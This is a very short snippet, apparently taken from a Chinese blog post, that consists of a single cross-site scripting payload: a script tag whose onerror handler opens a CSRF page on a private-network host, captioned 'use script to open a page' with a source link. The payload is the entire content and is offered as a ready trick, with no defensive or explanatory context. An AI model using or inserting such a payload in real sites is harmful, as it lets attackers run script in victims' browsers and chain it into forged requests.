<script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script>
使用script打开页面
原文：https://www.cnblogs.com/ashell/p/13513686.html
